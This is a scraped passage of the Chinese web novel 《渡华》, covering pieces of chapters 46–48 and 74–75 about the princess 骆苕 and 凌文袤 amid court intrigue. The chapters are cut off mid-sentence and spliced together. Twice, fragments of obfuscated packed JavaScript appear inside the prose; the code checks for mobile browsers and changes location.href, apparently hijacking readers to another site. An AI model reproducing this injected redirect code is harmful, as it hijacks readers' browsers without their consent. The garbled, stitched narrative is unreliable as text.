骆苕捧水喝足后将搁在石板上的竹筒拿起,舀满水浇一浇周遭的花草。 身处背阴山坳,方才因快走烘暖的身躯很快被重新带走热气,开始发凉,骆苕浇着花草,有一瞬没一瞬地向凌文袤投去一眼。 凌文袤只是闲适地坐着,捋一捋身旁的草叶子,目光一直落在骆苕身上,像在追寻着什么,他刚想出口相问,便被一阵嘹亮回荡的子规啼声打断。 子规啼,亡国泣。 骆苕煞有介事地仰着脸寻找着子规,半晌过后,又自我安慰似的看向凌文袤,笑说:“子规啼农,春颂秋荣,好兆头。” 凌文袤没接话,叹声瞭望空谷。 < 46. 第四十六章 《渡华》全本免费阅读 骆苕不想洗,皱了皱眉拒绝:“这灰粉不好洗,得用皂膏才能卸掉。” 面对凌文袤那张萎靡不振的臭脸,她心情也正欠佳。 萎靡不振的凌文袤又指了指石板上荷叶瓷托里的皂膏:“那不是么?” 骆苕看向被万人用过的洗手皂膏,瞳仁直颤栗。 凌文袤却知她心意,笑了笑道:“别嫌弃,岐城定南小将军花凊跟随她父亲花景良,曾被围困在漓谷七日,连口吃的都难,况论这些个皂膏,你作为定南小将军的……闺友或是密友,不用太过讲究,应当体察体察我们这些武将的粗俗才是。” 骆苕惊诧呆愣。 他竟然查她查的那么深,外人只知花凊从前只是她的伴侍,二人是从属关系,无人知道花凊是她闺友。 这一事就连慕容余都不曾知晓,花凊更不会将她们的好友关系对外人诉说。 这个时候凌文袤提花凊,人立马被奚落的没了脾气,骆苕隐隐之中好似被他掐中命脉,唇角一动,说:“你们别去打扰她。” 花凊说要自己挣功名。 纵然花凊付出比常人百倍的努力都无法达到公平的高度。 可花凊又说,强者从来不会抱怨境遇。 骆苕这句真情流露的软语,也瞬时掐中凌文袤的命脉,让他胸口又开始泛堵。 什么时候她讲话的语音这么好听过。 凌文袤暗骂一声,缓道:“你的闺友连你都不去打扰她,我们去打扰她作甚。” 骆苕看了他一瞬没再说话。 顺从地过去蹲在清泉下方池水,一点一点挽高双袖,拈起皂膏将它丢入池水。 等了片刻,把皂膏捞起,先将双臂仔细清洗干净,直至两条手臂挂上水线,两条水线贴着表皮滑落手肘。 她的动作很慢,慢到凌文袤有起身冲过去,将人丢入池水的冲动。 吸气,忍下冲动。 骆苕的神思也不知道飘到哪里去,等额面脖颈全洗干净,整个人已经凉透,莹润通透的肌肤沾满水珠泛着刺目的冷光。 僧帽边沿,僧袍前襟也洇湿了一大片。 蹲着的人,抽帕擦水渍时脸转向凌文袤,问:“你看够了没,没够我继续洗。” 此言一出,凌文袤那根绷着的心弦一下子就断了,顿时舒筋活络。 顺从从来不是她,执傲带刺才是她。 现在谁是谁的猎物都已分不清。 这个时候面对佯装纯良,语气生硬的她,凌文袤很难不笑,笑得如梦方醒,他问:“现在冷么?” 骆苕说冷。 凌文袤满意地舒眉,又拍了拍自己的腿,说:“冷你就过来。” 语气缓而悠,倒也寻常。 骆苕起身过来时,凌文袤还不忘慢慢提醒:“面朝我。” 骆苕站在他身旁,望着两条为她准备好的长腿,踌躇着该如何坐。 他拉过她冰冷的手臂,同侧的腿挑开她的一条腿,顺势带人进胸膛,僧袍下摆有些掣肘,他还不忘帮她往上提了提,又将人往里纳了纳。 骆苕有些僵,不知是冻的还是惊的。 女人带着满身寒气扑身而来,凌文袤觉得自己像焐了一块坚硬的冰,即便化开了也会如水一样溜走。 骆苕蜷起缩进他宽阔扎实的胸腔,脑袋窝在他搏动的颈侧,说:“我腿麻了。” 凌文袤轻笑没说话,伸手搭在她的小腿上,稍稍一捏,骆苕小腿闪烁起点点刺疼,整个人缩瑟了一下。 “凌宪,这样欺负我好玩吗?”骆苕斥问。 凌文袤收手,双臂圈着她抱紧一些,他说:“还行,这样抱着干净的小女尼心情大好,可以宽限你几日在外头胡闹。” 骆苕忍下要说的话,改问:“离尘大师是哪日死的?” “你来济虔寺的那日。” 骆苕蹭着他的下颌轻点螓首。事情发展异常顺利。 之后二人陷入沉默。 不知过去多久,凌文袤有气无力地叹了一声,唤她:“骆苕。” 骆苕:“嗯?”了一声。 听见他说:“如今凌氏给你的已经是最优厚的荣泽,你还想要什么,大可直言不讳说出来。如果是要凌氏分崩离析,灰飞烟灭,另靠新主,那我会囚你在公主府,半步不得离开。就凭借你与岐城花凊的那点关系,中州花景良,你调动不了他。济虔寺你想筹谋些什么,照样在我的眼皮子底下。” 顿了顿,意味深长地说,“他们一个也跑不掉。” 言下之意,已经把她的后路全部堵截。 骆苕酸涩地牵了牵唇。 伸手将双臂挽起的衣袖放下来,迫开身仰脸看着近在咫尺的人:“你说的这番话,怎么显得里面的我这么蠢,在你们的眼皮子底下肆意妄为,如果我是你,我也会考虑囚禁她,甚至杀了她。” 一个杀字,让凌文袤神思微滞。 她可以对自己这么狠。 凌文袤敛神,恢复先前的怠倦:“那你要什么?” 骆苕说:“想要一个与你们凌氏相谈的机会。” 凌文袤眸光微闪:“若要相谈,随时奉陪。” “时机未到,再等几日。” “可以。”凌文袤说,“我希望你开诚布公。” 骆苕含笑点头:“一言为定。” 凌文袤浮起另外一缕疑色,若有所思看着她。 骆苕身子渐渐回暖,心里却有些空,吸了吸鼻子垂眼想要挪身下来,后背扶上来的手掌却不允许她离开:“决定死守那个男宠?” 骆苕怔然。 她的心一抽,说:“现在我还坐在你怀里,你一再提及他, 47. 第四十七章 《渡华》全本免费阅读 日落黄昏,凌文袤遣散长公主仪仗,命他们回宫,申怡假扮骆苕被塞进车驾送往公主府。等到天幕发黑,人烟散尽,凌文袤才押着骆苕一人徒步往山下走。 这一出名动京都城的长公主闹剧,虎头蛇尾地潦草收场。 不过闹剧的余温必定弥久不散,一时长公主成为了大家茶余饭后津津乐道的谈资。 骆苕被套了身方领男袍,不情不愿地跟在凌文袤身后,因为她还没用饭,有点饿。凌文袤直接将饭食忽略,没问过她一句。 一行人慢腾腾抵达山脚下,骆苕已经不想挪步,有气无力地问:“天黑透了,快宵禁了,你要带我去哪?” 凌文袤头也不回只管往前走:“我也不知,横竖你夜里睡不着,随便逛逛京都城。” 骆苕停下脚步,回头看了看后头跟在远处的一青,放声问他:“一青,你们的马呢?” 一青冷不丁被问询,提声唯唯回道:“回长公主,还在济虔寺。” 骆苕管不了那么多,回过头蹲在地上朝前喊去:“我走不动了,你不来背我,我让一青背。” 一青立马神色呆滞一脸冷汗,睁大眼睛看向走远的凌文袤,试图用眼神挽留他的主人。 凌文袤装作没听见。 骆苕拂开在身旁萦绕的蚊虫,手肘支在蹲着的腿上,双手托腮,望着远去的凌文袤也没再说话。 一青守在骆苕身边慌乱不已。 眼见凌文袤淹没在灰暗的夜色,骆苕抽了抽唇角,静了一会儿,悠悠问道:“一青,你家郎主是不是耳背?” 一青立时摇头如拨浪鼓,骆苕看不见他的动作,但也知道他在摇头,笑着说:“我问你家郎主是不是耳背,你慌什么?是便是不是便不是。” 原本只是躲在暗处看护主人和主人交代的人,一青一下子被拎来明处与人交谈,他紧张,听说还要背长公主,他又慌,好像被长公主埋怨事情没做好一样,更加的慌了。 他讷讷地回:“奴……我……郎主没有耳背。”还是说了实话,“长公主赎罪,我也不知为何如此慌张。” 骆苕缓缓起了身指使一青:“你蹲前面来。” 等一青硬着头皮在骆苕前面以一个背人的动作蹲好,骆苕才说:“你知道你家郎主不耳背,你也知道你家郎主故意装作听不见,还知道你家郎主把本公主丢给了你,对吗?” 一青不敢去猜测没有明说的事,他已经习惯被下死命令,仿佛那根本该疏通的经络被某种东西阻隔,停滞向前。 他却如实说:“奴……奴知道。” 骆苕长叹一声。 这人跟人怎会如此不同,她家的阿石不过才十二,那般早慧,眼下的一青已过十六,却如此迟钝。 骆苕掀了掀衣袍故意发出好大声响,对一青道:“等我准备准备,你背我回公主府。” 一青瞬间脑袋要炸开,额汗直流。 背人回公主府他做不到,不过他也不敢回绝,更找不到言辞去跟长公主交谈,还不知道等会该跟郎主如何交代。 脑中思绪横冲乱撞,他自己选择不了该如何去做。 骆苕又故意跺了跺脚发出声响,权当活动筋骨,活动的同时往后退,声响越来越小,最后蹑手蹑脚夜遁而去,钻进一旁的树林。 一青竟然没有发现骆苕遁逃了。 在许久之后他才在煎熬中给自己做了选择,起身环看四周,在淡淡的月色下疯狂搜寻骆苕,结果空无一人,他如临大敌。 最后没忍住,放声如救命般大喊:“赤眉!” 早已爬上树正靠在树丫的骆苕被这一声夺天惊呼,险些震落在地,心脏立马砰砰跳。 她探身往外望了望又靠了回去。 她什么都没看见。 好半晌,骆苕竖起耳朵听见脚踩过草木清浅的窸窣声,窸窣声消失一会儿,又重新出现,而且越来越近。 骆苕屏住呼吸,好奇他们怎么不着急找人,不出声叫她。方才听见一青那一声凄厉的喊叫,她有些心软。 只要他们叫她一声,她一定会下树,自觉出现在他们面前,最初目的也只不过是想凌文袤回来。 背她,扛她都行。 他们的行动在骆苕料想之外,那她只能在树上静等。 树影婆娑,纤纤钩月洒下薄薄清辉浸润着夜色,微风体贴地拂在脸颊,带走一缕身处野外的不安,却拂不走将她裹在其中的浓密冠叶。 骆苕不再注意窸窣声,手臂揣胸后颅重新靠上树丫再享受片刻的安宁。 似乎过了很久,站在树下的凌文袤,说:“你下来,我托着你。”声色很淡很自然。 骆苕满意地接纳他的温和,放下手臂刚想说话。 听见他又说:“也可以抓牢树枝像山猴那样自己荡下来。” 声色同样很淡很自然。 骆苕两条已经放下的手臂突然有了脾气,伸手推搡了树干一下。 他这人就不会诚心诚意讲句好听的。 骆苕对掌搓了搓,才发现方才上来时掌心被树皮搓的还有些疼,她气定神闲地说:“你让让,我自己可以爬下去,不用你托,记得一会儿背我回公主府,我走不动了。” 爬上来已经很像猴子了,下树必定也不太好看,不过可以趁着天黑随便糊弄过去,谁也不会瞧得那么真切。 凌文袤真的退了几步:“你是要我看着你下来还是别看。” 骆苕又被憋出一点闷气,好像被他猜中了她想的,她不想让他看见自己的丑态。 骆苕挥挥手:“赶紧背过身去。” 树荫漏下来的月光更加惨淡,骆苕往下看的时候根本看不清楚,只能以凌文袤那团黑影作为参照,反身抱着树干伸腿往下攀爬。 这棵树不算高,直接跳其实显得比较威风,但又有那么一点点冒险,没办法,她自己选的只能自己爬下来,这个时候她真没想过让旁人托她。 上树比较容易,下树全凭自由施展,快接近地面时,凌文袤双臂叉向骆苕腋下,将人腾空架了下来,笑说:“树爬得这么顺,真不知道你还有这么活脱的时候。” 长公主爬树,确实有点新鲜。 骆苕站稳,整理好衣袍,扶了扶幞头:“你没听慕容余跟你讲过我的小时候?小时候比这爬得还顺,如今生疏了。” 凌文袤牵过她的手将她往外带:“从未听他讲起过你。” “噢。” 骆苕噢了一声便没再出声。 慕容余的记忆里,有骆苕的出现便会有骆奂的出现,那段美好无拘无束的时光,如今谁也舍不得去回忆。 二人蹚过草地踩上石道,凌文袤问骆苕:“要我背吗?” “不用。”骆苕说,“再走走。”又问,“一青如何了?” 凌文袤皱了皱眉,说:“给他半个时辰,让他回宅策马过来。” 浅薄的月光拢在他峻朗的脸颊,剪去几分平素里显露出的不羁,添了些许恬雅,骆苕侧首仰颌望着他,慢慢停下脚步。 凌文袤跟着停滞,回身。 骆苕对他说:“一青,其实挺尽责的,也不傻,能听懂我们说的话,只是不晓得是不是缺心眼还是怎的,过于单纯。” 凌文袤额角抽了抽:“单纯或许是真,缺心眼未必见的。在他眼皮子底下让你给溜了,他倒是对你心 48. 第四十八章 《渡华》全本免费阅读 骆苕愣了愣,弓着腰背过身去:“不管如何,我得先喝水。” 凌文袤没说话,一同起了身,猫着腰跟在骆苕身后下塔。 骆苕的双腿酸胀发虚,下梯的时候是凌文袤勾着她的帯銙侧身迈下去的。 都说上山容易下山难,诚然不欺。 共乘一骑的二人下马,驻足在凌文袤新辟的宅院前。 骆苕笑问:“这就是你的外宅?” 宅院原先主人的匾额——辛宅,都还没摘下,宅邸两侧檐下挂着两盏散着孤独幽光的纱灯,外墙斑驳,门庭掉漆,瞧着倒还算素净。 “新置的。”凌文袤不介意屋宅未成气候,反而很满意,“拎你回来,是给我暖房的。” 说完勾着骆苕的帯銙直接入宅邸。 纤腰如柳,稍稍一带顺从的不像话,凌文袤觉得自己在放纸鸢,骆苕觉得自己像被栓了绳的物宠,不是狸奴,是幼犬。 入宅邸后凌文袤便松了手,骆苕打趣:“京中纨绔,大冢宰的嫡子,住的未免寒酸了些。” 地段偏,宅院陈旧,跟纨绔身份并不相衬。 但贵在僻静。 凌文袤叹声微笑:“我也想住你那样的豪宅,可惜家母不准,怒斥我不该华而不实。没办法,花她老人家的钱不得不低头。”他抬头望天,“等天凉了人也清闲了,再好好豪装一番。” 赫连萨朵对自己的儿子可不会这样,她知道自己的儿子不是奢靡的人,凌文袤置宅邸时赫连萨朵一句都没过问,还闭眼举手举脚赞成,且塞了一堆貌美侍女入宅伺候。 不过置宅邸的钱确实是赫连萨朵掏的。 这些年凌文袤其实攒了些军饷,同母异父的长姊出嫁时,他将自己的全部军饷作为他阿姊的嫁妆送了过去。那时年纪尚小,那点军饷自然不够,又不肯让家中帮衬,便到处借银钱给他阿姊添嫁妆。 人小心意大。 所以欠下一屁股的债,到如今都还未还完。 骆苕抿了抿嘴不再说话,一路跟着往里走,观摩起内宅。 麻雀虽小五脏俱全,水榭兰亭该有的都有,是她喜欢的样子。 “下人们呢?”骆苕踏进后院中庭看到两排整齐的兵器架,不由上前细细打量。 凌文袤说:“早让人打发她们歇息去了。” 骆苕望着兵器架上形制各异的兵器,眸色点星:“这些你都会用?” 她很佩服会用各类兵器的人,因为她不会,在这一面有些笨。 花凊就用得很娴熟,十八般武艺不在话下。 “都会一点。”凌文袤从石案上倒满两盏水,递给骆苕一盏,指了指其中一件兵器,“上阵杀敌我最喜欢用这样的横刀,灵巧致命。” 骆苕喝完三盏水后过去将横刀取过,按在腰间独自欣赏了一下,蠢蠢欲动:“我可以试试?” 凌文袤退后给她让出空间,在骆苕抽刀时他却皱了皱眉。 什么都不会还说要试试。 骆苕望着被自己抽出泛着水光的刀身,刀身寒气逼人,一时有些怔然,不由咽了咽咽喉,凌文袤仿佛突然想起什么,说:“这些都是新的,未曾见过血光。” 骆苕冲他回了个后滞的笑。 除了在梦里,骆骞死在含章殿,那是她第一次见真正的血溅兵刃,她看似面无表情,冷静沉着,那时候她以为自己在竭力控制情绪外泄,其实也被场面吓得浑身僵直,最后麻木地被凌文袤拖去采撷宫。 凌文袤望着双手一直握着横刀一动不动的人,觉得有点好玩,于是绕去她身后,用双掌握住她的,贴着她的耳廓低语:“想砍哪?我帮你。你说过,好刀不出鞘,这出了鞘的刀,总要给它添个头彩。” 竖在二人身前的刀身映出他们耳鬓厮磨的清晰扭曲模样。 凌文袤圈带她转去一旁,又伸手拍了拍她的大腿:“下蹲,扎好马步。” 骆苕腿酸得发紧、发抖,但还是听话照做。 凌文袤重新覆上她的手,带她手起刀多,花架横木一分为二塌陷落地。 这一刀干脆利落。 骆苕呼出一气,胸中茫茫然。 凌文袤从她手中收走横刀,送回刀鞘:“你还不饿?” 骆苕眨了眨眼,回得有点委屈:“方才饿过头不觉得饿,被你一问,确实……饿。” 凌文袤了然笑了笑,衣袖拂过刀鞘,问得不着痕迹:“你是先用饭呢还是先沐浴,浴汤已经备好。” 骆苕垂眸定了定神,说:“先用饭,我不习惯沐浴后还吃东西。” 凌文袤投眼看她,眸光定在她脸上:“那你得等上一会儿,不过也很快,我去去就来。宅院随意参观,护卫和下人都在外院,没人敢打扰你。” 说完迈腿离开。 骆苕望着他远去的背影心中讷讷,坐去石凳上望着案面纵横交错的棋盘发呆。 望了望脚下,弯腰捡起一颗小石子落在棋盘上,然后起身朝凌文袤消失的那面去。 庖厨内烟火升腾,骆苕倚在门口有些犯困,都说饭饱神虚,此时还未用饭就开始犯迷糊。 看凌文袤熟稔地对付锅碗瓢盆,不由挪步跟去他身边,他往哪边动她就往哪边动。 学是学不会了,只能观摩。 就两碗片面,骆苕已经看得津津有味。 末了,凌文袤问她:“你会吃芫荽?” 骆苕刚说完:“会。” 只见一把切的极薄的羊肉和段芫荽丢进了她的那碗里。 两碗色香味俱全的片面腾腾冒着热气,凌文袤端去外间食案上:“正好你来了,将就着在这吃。” 待骆苕坐定,凌文袤洗好的甜脆李也端了过来。 他的动作很快,就像在军营赶食。 骆苕的那碗照样没吃完,凌文袤给她收拾的残局,不过今日成效不错,大半碗是她自己吃的,况且凌文袤宅邸的碗挺大。 饭饱休息的时候骆苕脚酸的走不动道,让人给直接抱去了浴房。 在凌文袤将要解她的衣袍时,她不安地抓住伸过来的手:“适才见你在庖厨做饭,我觉得自己像只待宰的小猪仔。沐浴还是我自己来。” 这个时候还能听她玩笑,凌文袤莫名哼哧两声,没说话。 他起身离开时又被叫住。 骆苕环看四周,对浴房还算满意,又一一检查准备好的物件,看着也还算完备,抿了抿嘴打开叠着的寝衣,发现寝衣是他的,里面并没有心衣。 犹豫着说:“寝裤太宽了,我穿不住,若不然你去给我寻一套婢女的,可好?还有……没帽子,帽子要换。” 想起要帽子,凌文袤那点火气冒了上来,早知今日何苦去剪。 “寝裤太宽穿不住就光着别穿,这后院没人敢来,裸奔都无人管你。”声音很轻,却能听出责备,说完头也不回地出了浴房。 骆苕怔怔地看着他退出去,阖上门。 她叹出长气,生气自己怎么没了脾气。 绕过漆屏把浴房的门给上了栓,在浴房内游荡好一会儿才开始洗浴。 洁齿净面,褪衣入浴,两耳一直注意着外面的响动,她像个入了他人家宅的贼人,将自己洗干净往人怀里送的贼人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12822552|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想知道凌晖会如何作答,禅位后还留小皇帝性命,唯恐夜长梦多。 凌晖的回答左右兼顾再次留有余地:“皇太后和长公主,凌某自当竭力照应,至于陛下最终该何去何从……容凌某仔细想想,时下陛下在宫中已然性命无虞,长公主不必担忧。” 骆苕沉默。 今日她的开诚布公,将心中所思毫无保留地交代,凌晖必定心存疑虑,特别最后一件留骆炎性命,一时肯定难以抉择,她也只不过是在为骆炎极力争取。 凌晖让骆苕若还有要事但说无妨,骆苕只是黯淡地摇摇头,最后凌晖起身道:“长公主在此稍等,凌某先行一步,凌某让文袤送你回去。” 说完携同曹勤出厅堂,经过门口长长地看了一眼懒散倚在廊下的凌文袤,又长叹一声什么都没说便抬腿离开了。 凌晖和曹勤钻入车架,曹勤按捺不住心中想说的话开口道:“大司马,此女之言不可全信,今日她看似真心实意地对您全盘道出,同样一套说辞他日同样可以对别人再述说一遍,我们若放松了对她的监视,她想与谁人勾结都不好说,再则,她恳请您留下小皇帝,心术不正,妄请大人不要受此女迷惑。” “唔。”凌晖早知曹勤对骆苕万加防备,他轻松地应过一声笑了笑说,“曹勤啊,今日只不过与小女子攀话,何必全部当真。小皇帝已经为我们所控,暂且留他性命也不过是安稳眼前局势,禅位之日也是凌氏大权稳固之时,往后的事便由不得旁人说了算,你呀,莫要当真。” 曹勤点头立时松下心神,方才白白虚惊一场,听见凌晖又说:“中州,你亲自联络花景良探探口实,若是属实便许他承诺,让他的小女花凊先行秘密入京听候差遣,命花景良以极快的速度盘查整顿寺宇,既然发现宏德寺有兵器重甲属实,何不经花景良之口直接说出来,寺宇私藏重甲怎可不查?我们留在中州的七千兵士还是随他调遣。” 让花凊入京,有提携之意也有扣留之意,可以牵制花景良。 曹勤略担忧:“中州离京都城太近,只怕盘查整顿寺宇的风声很快便会传回京都,令大司马为难,到时功亏一篑。” 凌晖却说:“让他严守通往京都城的各路关口,到时就给花景良按上一个知情不报的罪名,撤他的职。” 曹勤眸色一闪点头应下,方才骆苕所说若是可行,用一个小小的女将军便能调离花景良换上可信赖之人,解掉中州之患,倒也能证明骆苕说的并非完全不可信。 只是不能掉以轻心,不到最后不可完全信任一个前朝公主,她身后有一干旧臣还有慕容氏。 不想嫁于凌五郎,还想保下小皇帝,这女子着实有些生蠢。 骆苕还端坐在座位上,望着门口看着凌文袤风尘仆仆折返拉她起来,从他脸上倒也看不出波澜,只听见他问得不着边际:“天将黑,想去哪?” 天黑了还能去哪,自然是回府。 “回府。”骆苕中规中矩毫无新意地回话。 凌文袤唇角微牵:“可得想好了再说,回府之后我便不会放你出卧房门,你当着我的面驳我脸面,说难以遵从内心嫁于凌五郎,那我可得好好送你一份周公大礼。” 骆苕倏然睁圆双眼,直直地看着凌文袤。 74. 第七十四章 二人就那样不动如山地对视着。 夜幕下坠,厅堂内的昏暗就差将两双对视眸子中的光亮也要剿了去。 “长公主殿下,天真的要黑了。”凌文袤沉沉语气无奈尽显,伸手扶住骆苕的后颅,不容分说直接将脑袋按入胸膛,“你脖子还不酸?” 他真是服气她无声的僵持。 骆苕也没挣脱,脸面贴着他的胸被人揽在怀中,悬垂在侧的手臂无处安放,动了动五指,索性勾在了他的带銙上。 心里揣着事,她没工夫去安抚还有闲暇满脑子浑念头的人。 方才凌晖问骆苕可还有要事要说,她那时不想再继续说了,故而摇头称无,她坦露的已经够多,即便将心事和盘托出,凌晖亦不可能完全消解。 防了她如此之久,今日她还开口留骆炎一命,凌晖怎么可能松懈对她的防备,从前她至亲的父皇还猜忌她企图勾结外人谋权篡位,如今的凌晖怎能不怀疑她有勾结旁人的心思。 但总有让凌晖为之信任的,譬如提醒他中州存患,当先行解决中州。 凌文袤把人抱起,还没拢神的骆苕骤不及防,冲口而出急道:“凌文袤,我不要周公大礼!” 凌文袤没出声,直直抱人就走,待骆苕察觉是出厅堂往里疾驰,便使劲挣扎着要下来,这个浑人又不知道会想出什么馊主意用在她身上。 在这尘灰满地的泽陂苑还不如回府。 这次凌文袤没有顺着她让人挣扎着下来,穿过腋下的手掌完完全全贴合在襦裙侧襟,人越动扣得越紧。 骆苕吃疼着想抠掉他的手掌,但被他整个人顺势往上抛起一颠躲了过去,骆苕被颠得嗯唧声从咽喉里窜了出来,又想掐他脖子,可被他用同样的方式躲去不能遂愿,在习武之人手下,她真的像只被随意拿捏的泥人。 斗不过突然就安静了。 “凌文袤,你混蛋。”垂着头低低说完连挣扎的念头都无影无踪,只是望着摩挲在胸前的手掌慢慢松懈,抽着嘴角很想咬上一口。 内院亭台三楼,凌文袤将人放下来,一脸正气:“这里敞亮,还可以再说上一会儿话。” 骆苕人虽默着但七窍已然生烟,双脚着地整理襦裙:“公主府要敞亮的地方随你挑,什么话不能说,非要在这破泽陂苑说话,等天真正黑去再冒雨摸黑回府,想想都不是常人能做出来的事。” 凌文袤先是一笑,后快速敛笑冷着眼眸看着骆苕,把先前在厅堂内的戾气一并翻出来,说:“你可不是什么常人,我也并非常人,所以别想着那些正经八百的规矩,根本不适合你我,在泽陂苑把话说完,送你回公主府后我便走了。” 先前骆苕当着凌文袤的面,在凌晖面前那番有恃无恐的说辞,连敷衍都未加敷衍,确实让凌文袤有想吞了她的冲动。 骆苕动了动唇没说话,纳罕着不是滋味,就这样便走了,心里有些空,连方才从脚底冒上来的气愤瞬时消遁而去。 说好的践行呢? 如此天色,明日便要启程,也不好再作挽留。 等他归来何尝不可。 凌文袤汲取她失落的神色,眸光转暖,挑过她的下巴,轻声缓道,“难以遵从内心嫁于凌五郎,恐令凌五郎家宅不宁,其实这句完全可以舍去,你却故意说给我听,只当你是太在乎我,才特意告知。” 不论真意如何,他完全可以将她的意思扭曲过来为他所用。 扭也扭这么多回了,刺痛并乐和着。 骆苕后撤一步下巴挣脱开来,下意识去回想那句话是否可以舍去,出口的却是:“你连后话都未听完便离席,自然不晓得是何用意。” 只见凌文袤收手,莫名哼哧了两声。 “你的那些后话,无外乎将自己的日后安排地妥妥贴贴,听了又有何用呢?”他转身面向亭台外,挺拔的侧影稍显清冷落寞,“人事无常变幻难测,有些事你根本左右不了,安排的再好,在变故面前都是虚幻。” 大嵘硝烟四起,骆苕在过去的十九年里,前十四年,完全是在事事顺遂里度过,说明她被保护的很好,后几年的骤然变故,如今她能毅然站在他面前。 其实她比想象中的还要坚韧,只是选择了半死不活。 凌文袤一时的正经叙话反倒令骆苕没能适应,她思量片刻,道:“不费心纠查过往,不担忧明日之祸,等到那时我便可以真正出家为尼。” 凌文袤侧回身睇眼过来:“我可不陪你做和尚,倒可以在家中给你建座佛堂,你折腾你的,我折腾我的,看谁能折腾过谁。” 一顿,“摊上你,横竖家宅已经不宁。” 骆苕怔忪哑声,只能顺着他随他去,就如他说的谁都无法确定将来变幻几何。 二人沉默了半晌,听见凌文袤问:“歧城汇顶山的易时安是谁?” 骆苕眼眸一定,方觉把这个人给忘记了,她长长叹过一息,心平气和回道:“从南峪逃亡而来的名门之后,是已故昌乐公主收在府中的养子,昌乐公主薨逝后,驸马的几位儿子对易时安拳脚相向,即便易时安被赶出了公主府,还要遭受当街凌辱,是我凑巧救下他,秘密送往歧城汇顶山小破庙,命清苦僧侣好生照养。” 南峪名门之后易时安,原名易安,在战火纷扰的世道,家族一旦落幕,一个转身,便无人惦念还有一位这样的可怜人尚在人世。 易时安,易安,如此不遮不掩的改名都无人愿意花点心思在他身上查探一番。 “你是许了他什么,让他甘愿为你鞍前马后唯命是从?”凌文袤问,“为报你救命之恩?” 许了易时安什么? 骆苕摇头酸涩一笑:“不过是小孩子之间不知天高地厚的妄言,我曾许他踏平南峪,替父报仇。” 她依稀记得是在她七岁时对十二岁的易安许诺言,如今十二年过去,大嵘也将落幕,易安却还是一如既往地信任自己。 唯有剩下唏嘘。 “易时安如今何在?” 凌文袤想起连影卫都追寻不到的易时安,心中难免窝火较劲。 骆苕还是摇头:“大抵和我从前的一百多名落了发的精卫,一同隐匿在中州某地,等中州风声过去,他们应该会回来了。” 凌文袤不可思议一笑,原来归属骆苕的一百多名精卫全部落了发,一直藏在中州各个寺宇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12852263|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴风作浪呢,想必宏德寺内斗夺权也是由这些精卫故意煽动。 又以歧城汇顶山小破庙为联络点,发号施令。 他说:“你可真行,势力遍布各地,令人胆寒。” “又有何用?”骆苕仰首前眺,“宁华只不过都是些雕虫小技罢了,不得我父皇的信任,手无重兵,到头来还是被你父亲夺走大嵘,为你们凌氏做了嫁衣。”郑重一顿,“但愿你们凌氏不要令人失望。” 骆苕脑中一闪而过快速补充道,“易时安与花凊毫无瓜葛,此次中州大乱,花凊和花景良事前并不知晓。”两条并立独行的线络,此刻碰撞在一起,将好可解中州之患,又能给花凊争取机会。 中州自古以来便是块宝地,所以连暗中的那股势力都会在利用中州的寺宇,长久布局。 这次敲掉中州的隐患,那股势力不晓得会再暴露出什么样的方式惦记着大嵘。 敌一直在暗,总是让人于心不安。 凌文袤又问:“济虔寺那个住持跟你又有什么渊源?” “韩悟,一介寒门子弟入仕途受阻,半路出家为了搜罗世家兼并土地的证据,今日送到你父亲手中的便是几册关于贪腐的证据。”骆苕回得真诚如水,“曾经只不过想举荐韩悟入仕,但他推拒了,究其何因我不曾知晓。在勒令僧侣归田之前他会自行还俗,不用防备他。” 又说,“京都城的一万多所寺宇财宝无数,宁华也曾在各寺宇捐奉过金像,日后等待征讨大圻,可为之所用。” 钱财流入寺宇终究还是要为其所用。 凌文袤再无他问,沉默望着湮灭在昏暗里的雨帘久久凝视。 几息过后,骆苕有些疲累,温言软语开始发挥作用:“凌文袤,我想回府了,你明日就要动身前往湧州,想必还有行囊要收拾,早些回去。” 凌文袤的心肺脉络被猝然一撩,暗自笑了笑,回过身牵起她的手默然离开。 抵达公主府,坐在马上的骆苕想要与他就此告别,怎料凌文袤下马抱人下来,送她入府。 骆苕默默跟随,心中嘀咕,这人有傲娇煽情加持,情事上根本拗不过他。 下一瞬,还裹着油衣的骆苕便被凌文袤揽去腰身扛在了身上。 骆苕连挣扎都懒得挣扎一下,双臂垂在他身后,连同脑袋无力倒挂着,说:“凌文袤,你混蛋。” “嗯。”凌文袤还恬不知耻地回应了她,“周公大礼总得送出去。” 被雨水浸湿的二人没在一处沐浴,等骆苕沐浴完也不知凌文袤人在何处。 双臂抱住蜷起的双腿,无聊地坐在卧房的床榻内,脑袋磕在膝盖,听着潺潺落雨的噪音昏沉欲睡。 这张床榻好似也有两日没有沾染过了。 外间的申怡入内添好茶水,备好干净的滚水和数条巾帕出房,去到廊下静静等候。 申怡只期盼凌五郎别再乱砸物件,虽说床帏之事无准则,可再如此下去,只怕凌五郎被怀疑是有怪癖的怪物。 今日晌午书房棋子遍布各个角落,纸张乱扬,满地狼藉实在惨不忍住。 所有的不满全融在申怡的一声长叹之中。 75. 第七十五章 凌文袤披风戴雨跨入卧房,后脚跟一勾将卧房门轻轻阖拢,床榻内的骆苕放下双臂循声望过去,目光脱离惺忪却还罩着一层朦胧,轻问阔步入内的人:“去哪了?” 松月螺钿屏风的间隙才得见他挺拔的身影在浮动。 